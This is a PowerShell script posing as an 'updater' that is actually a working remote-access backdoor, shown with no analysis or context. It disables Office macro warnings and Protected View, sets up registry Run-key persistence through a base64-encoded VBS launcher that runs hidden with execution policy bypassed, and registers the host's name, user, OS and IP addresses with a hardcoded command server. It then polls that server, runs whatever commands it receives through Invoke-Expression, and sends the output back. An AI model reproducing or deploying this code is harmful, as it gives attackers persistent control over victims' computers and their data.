updater.ps1

$Excel = New-Object -ComObject Excel.Application
$ExcelVersion = $Excel.Version
for($i=10; $i -le 20; $i++){
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$i.0\excel\Security" -Name AccessVBOM -PropertyType DWORD -Value 1 -Force
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$i.0\excel\Security" -Name VBAWarnings -PropertyType DWORD -Value 1 -Force
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$i.0\excel\Security\ProtectedView" -Name DisableAttachementsInPV -Value 1 -PropertyType DWORD -Force
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$i.0\excel\Security\ProtectedView" -Name DisableInternetFilesInPV -Value 1 -PropertyType DWORD -Force
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$i.0\excel\Security\ProtectedView" -Name DisableUnsafeLocationsInPV -Value 1 -PropertyType DWORD -Force
}
for($i=10; $i -le 20; $i++){
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$i.0\word\Security" -Name AccessVBOM -Value 1 -PropertyType DWORD -Force
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$i.0\word\Security" -Name VBAWarnings -Value 1 -PropertyType DWORD -Force
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$i.0\word\Security\ProtectedView" -Name DisableAttachementsInPV -Value 1 -PropertyType DWORD -Force
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$i.0\word\Security\ProtectedView" -Name DisableInternetFilesInPV -Value 1 -PropertyType DWORD -Force
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$i.0\word\Security\ProtectedView" -Name DisableUnsafeLocationsInPV -Value 1 -PropertyType DWORD -Force
}
New-ItemProperty -Path HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name Updater -PropertyType String -Value 'C:\Users\Public\Documents\conf.vbs' -Force
$x='RGltIG9ialNoZWxsClNldCBvYmpTaGVsbCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikKY29tbWFuZCA9ICJwb3dlcnNoZWxsLmV4ZSAtV2luZG93U3R5bGUgaGlkZGVuIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1ub2xvZ28gLW5vcHJvZmlsZSAtZmlsZSBDOlxVc2Vyc1xQdWJsaWNcRG9jdW1lbnRzXFVwZGF0ZXIucHMxIgpvYmpTaGVsbC5SdW4gY29tbWFuZCwwClNldCBvYmpTaGVsbCA9IE5vdGhpbmcK'
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($x)) | Out-File C:\Users\Public\Documents\conf.vbs

$config = @{'api'= 'http://138.201.75.227/v2/'; 'storagePath'= 'C:\Users\Public\Documents'; 'chunkSize'=1024; 'retryCount'=2}
function encode
{
    param([string] $text)
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($text)
    [Convert]::ToBase64String($bytes)
}

function decode
{
    param([string] $code)
    [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($code))
}


function getIps
{
    $ips=""
    gwmi Win32_NetworkAdapterConfiguration -Filter "IPEnabled=True" | where{$_.IPAddress[0] -NotLike '169*'} | % {$ips = $ips + "-"+ $_.IPAddress[0]}
    return $ips.subString(1)
}

function eval
{
    param([string] $expression)
    try {
        Invoke-Expression $expression
    } catch [System.SystemException] {
        return $false
    }
}

function httpGet
{
    param([string] $url)
    try {
        return (New-Object System.Net.WebClient).DownloadString("$($config['api'])$($url)")
    }
    catch [Net.WebException] {
        return $_.Exception.Message
    }
}

function sendResult
{
    param([string] $key, [string] $cmdId, [string]$result)
    $prefix = "?action=saveResult&id=$key&cmd=$cmdId"
    $chunks = [math]::floor($result.Length / $config['chunkSize'])
    if($chunks -eq 0){
        httpGet "$prefix&res=$result"
    }else{
        $counter = 0;
        for($j=0; $j -le $chunks; ++$j){
            $httpResult=''
            if($j -eq $chunks){
                $chunk = $result.Substring($j*$config['chunkSize'])
                $httpResult = httpGet "$prefix&chunk=last&res=$chunk"
            }else{
                $chunk = $result.Substring($j*$config['chunkSize'],$config['chunkSize'])
                $httpResult = httpGet "$prefix&chunk=$j&res=$chunk"
            }
            if($httpResult -eq 'OK'){continue}
            ++$counter
            --$j
            if($counter -ge $config['retryCount']){break}
            Start-Sleep -s 5
        }
    }
}

function getKey
{
    $keyPath = "$($config['storagePath'])\$($env:username).key"
    if((Test-Path $keyPath) -eq $true){
        $key = Get-Content $keyPath
        if($key -match "^\d+$"){
            return $key
        }
    }
    $os = (Get-WmiObject Win32_OperatingSystem).Name
    $os = $os.Split('{|}', [System.StringSplitOptions]::RemoveEmptyEntries)
    $os ="$((Get-WmiObject Win32_OperatingSystem).OSArchitecture)|$((Get-WmiObject Win32_OperatingSystem).Version)|$($os[0])|$($os[1])"
    $data = "$($env:computername)::$($env:username)::$($os)::$(getIPs)"
    $data = encode $data
    $id = httpGet "?action=register&data=$($data)"
    if($id.Length -gt 0){
		if($id -match "^\d+$"){
			Set-Content $keyPath $id
			return $id
		}
    }
    return $false
}

function getCommand($key)
{
    $commands = httpGet -url "?action=getCommand&id=$key"
    if($commands.Length -gt 4){
        $parts = $commands.Split('{::}', [System.StringSplitOptions]::RemoveEmptyEntries)
        $id = $parts[0]
        $cmd = decode $parts[1]
        $res = ((eval $cmd) | Out-String)
        $res = $res -replace ' {4,}', '    '
        $res = $res -replace '\-{4,}', '----'
        $res = encode $res
        sendResult $key $id $res
        return $true
    }
    return $false
}


while($true){
$key = getKey
if($key -eq $false){start-sleep -Seconds 120}
else{break}
}
while ($true){
    getCommand $key
	start-sleep -Seconds 120
}